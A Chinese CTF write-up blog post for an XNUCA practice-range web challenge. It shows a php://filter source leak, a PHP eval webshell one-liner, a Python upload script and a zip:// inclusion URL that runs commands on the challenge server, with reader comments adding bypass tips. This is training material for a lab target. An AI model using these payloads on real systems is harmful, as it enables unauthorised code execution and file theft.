美文网首页CTF我用 LinuxLinux
[XNUCA 练习靶场](web)Document

[XNUCA 练习靶场](web)Document

作者: 王一航 | 来源:发表于2017-08-12 21:28 被阅读250次

简介 :
Document
(破解人数:3)

描述:啥都没有,慢慢找吧。。。
http://218.76.35.74:20129


源码中发现 include.php

image.png image.png
http://218.76.35.74:20129/include.php?file=php://filter/read=convert.base64-encode/resource=include
image.png image.png image.png

观察 upload.php 的源码 , 发现并没有对文件的内容进行检测
只需要上传一个文件 , 然后再用 include 去包含即可

image.png

可以看到包含的时候过滤了 %00 , 很奇怪这里直接过滤的是 %00
我们知道 apache 在给 php cgi 传递 http 的请求参数的时候
是会进行一次 url 解码的 , 感觉这里的 %00 没卵用
之过滤了这些协议 , 并没有过滤 phar / zip 等协议
可以直接使用 zip 协议去包含上传的文件 (因为文件名也是直接用户可控的)

给出利用脚本 :

echo '<?php eval($_REQUEST[c]);?>' > c.php
zip -9r data.zip c.php

upload.py

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://218.76.35.74:20129/upload.php"

files = {'file': ('1.jpg', open("data.zip").read(), 'image/jpeg')}
response = requests.post(url, files=files)
print response.content

成功上传以后直接包含即可

http://218.76.35.74:20129/include.php?file=zip://upload/1.jpg%23c&c=phpinfo();('ps aux');
image.png

然后直接使用 Webshell-Sniper 进行连接 :

image.png

直接进行本地文件下载

image.png image.png

相关文章

网友评论

  • Pr0ph3t:师傅我找到真flag了。。。。Orz。。。
    试试find / | grep flag
    da28c79c7c2f:@Pr0ph3t 已经关注了:smile: 不过貌似还是没flag,感觉呗搅屎了
    :flushed:
    Pr0ph3t:@Ass4ssin 不关注一波吗:smile:
    da28c79c7c2f:word哥,6666666
  • c3f476962f58:这里,上传 xxx.php.jpg 会直接解析成php然后直接连菜刀就行了。。。
    c3f476962f58:@王一航 我也是随手测试。我猜apache那边配置的时候不识别jpg,然后递归向前解析了php。上传+解析,也算常见套路。
    王一航:诶这个为什么...会解析 jpg ?
  • Pr0ph3t:大佬疯狂搅屎2333333
    王一航:@chybeta 这个屎真不是我搅的...我第一次上去以后也没有找到flag , 然后就随意写了一个 flag ... 没想到都被泥萌发现了...
    Pr0ph3t:@chybeta hhhhhhhh我也没拿到flag
    c3f476962f58: flag{王师傅疯狂搅屎}<----好吧这个flag是错的。。真的我也不知道在哪里。。--Pr0ph3t

    :sob:

本文标题:[XNUCA 练习靶场](web)Document

本文链接:https://www.haomeiwen.com/subject/qvnjrxtx.html